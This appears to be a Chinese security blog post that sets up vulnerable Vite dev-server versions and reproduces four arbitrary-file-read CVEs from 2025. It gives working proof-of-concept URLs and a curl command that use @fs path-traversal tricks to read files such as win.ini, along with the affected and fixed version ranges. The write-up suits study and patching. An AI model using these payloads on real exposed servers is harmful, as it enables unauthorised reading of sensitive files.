Vite 任意文件读取系列漏洞(附POC)

Vite是什么，和Next.js有什么区别？

上一篇文章刚介绍了Next.js漏洞的复现：

【漏洞复现】Next.js中间件权限绕过漏洞 CVE-2025-29927

Vite 是什么？

Vite 是一个现代前端构建工具，主要用于开发和打包前端项目（如 Vue、React 等）。它由 Vue 的作者 Evan You 开发，核心特点是快速启动、按需编译，并且基于 ES 模块（ESM）。

Vite 的主要特点：

1. 开发速度快：使用原生 ES 模块（ESM），避免了 Webpack 传统的打包后运行模式，大幅加快冷启动速度。

2. 按需编译：只在代码变更时实时更新（HMR 热更新），而不是重新编译整个应用。

3. 默认支持 Vue 和 React：内置支持 Vue、React、TypeScript 等，无需额外配置。

4. 轻量 & 插件化：基于 Rollup 进行生产构建，可扩展性强。

Vite 适用于构建前端 SPA（单页应用），并不包含服务端渲染（SSR）或全栈开发能力。

如何使用Vite？

https://cn.vite.dev/guide/

选择一个漏洞版本，使用如下命令安装（示例）

#我的环境：windows+gitbash+npx

npx create-vite@6.1.1 vulnerable-project

安装完按照提示的命令进行

 cd vulnerable-project npm install npm run dev

安装完发现一个问题：版本不对，这是配置问题，如果不做固定，会默认安装更高版本

如果没有发现版本问题，那么后续复现是出不来结果的  

问题解决：在install命令之前通过修改package.json配置文件固定版本号

删除前面的脱字符^即可

删掉整个文件夹重新来一遍（或者删掉lock文件，重新install，都行），版本处于漏洞版本，环境搭建成功

漏洞复现

Vite任意文件读取漏洞，最近披露了多个CVE，如  CVE-2025-30208、CVE-2025-31125、CVE-2025-31486 和  CVE-2025-32395，从3月14日开始基本上是挖一个，修一个，再挖再修，主要涉及开发服务器在特定配置下的任意文件读取问题。

Vite 作为一个现代前端构建工具，因其快速开发体验和高效构建能力而广受欢迎，但近期披露的多个安全漏洞引发了社区的关注。 Vite 团队的快速响应和透明披露受到认可。未来，Vite 团队可能需要加强开发服务器的安全设计，减少类似漏洞的发生。

POC

由于我是windows环境，因此本文仅仅以windows环境做演示，以下POC仅适用windows

#CVE-2025-30208http://localhost:5173/@fs/C://windows/win.ini?import&raw??#CVE-2025-31125http://localhost:5173/@fs/C://windows/win.ini?import&inline=1.wasm?init#CVE-2025-31486http://localhost:5173/@fs/C:/Users/Lenovo/vitetest/vulnerable-project/?/../../../../../windows/win.ini?import&?raw#CVE-2025-32395curl --request-target /@fs/Users/Lenovo/vitetest/vulnerable-project/#/../../../../../windows/win.ini http://localhost:5173

CVE-2025-30208

影响版本：

• 6.2.0 <= Vite <= 6.2.2
• 6.1.0 <= Vite <= 6.1.1
• 6.0.0 <= Vite <= 6.0.11
• 5.0.0 <= Vite <= 5.4.14
• Vite <= 4.5.9

使用漏洞范围内的版本6.2.2复现结果：成功读取任意文件

6.2.3版本修复 CVE-2025-30208 

CVE-2025-31125

影响版本：

• 6.2.0 <= Vite <= 6.2.3
• 6.1.0 <= Vite <= 6.1.2
• 6.0.0 <= Vite <= 6.0.12
• 5.0.0 <= Vite <= 5.4.15
• Vite <= 4.5.10

使用6.2.3版本：成功读取任意文件

6.2.4版本修复 CVE-2025-31125

CVE-2025-31486

影响版本：

• 6.2.0 <= Vite <= 6.2.4
• 6.1.0 <= Vite <= 6.1.3
• 6.0.0 <= Vite <= 6.0.13
• 5.0.0 <= Vite <= 5.4.16
• Vite <= 4.5.11

使用6.2.4版本：成功读取任意文件 

6.2.5版本修复 CVE-2025-31486

CVE-2025-32395

影响版本：

• 6.2.0 <= Vite <= 6.2.5
• 6.1.0 <= Vite <= 6.1.4
• 6.0.0 <= Vite <= 6.0.14
• 5.0.0 <= Vite <= 5.4.17
• Vite <= 4.5.12

使用6.2.5版本：成功读取任意文件  

6.2.6版本修复 CVE-2025-32395

原文始发于微信公众号（仇辉攻防）：【漏洞复现】Vite 任意文件读取系列漏洞(附POC)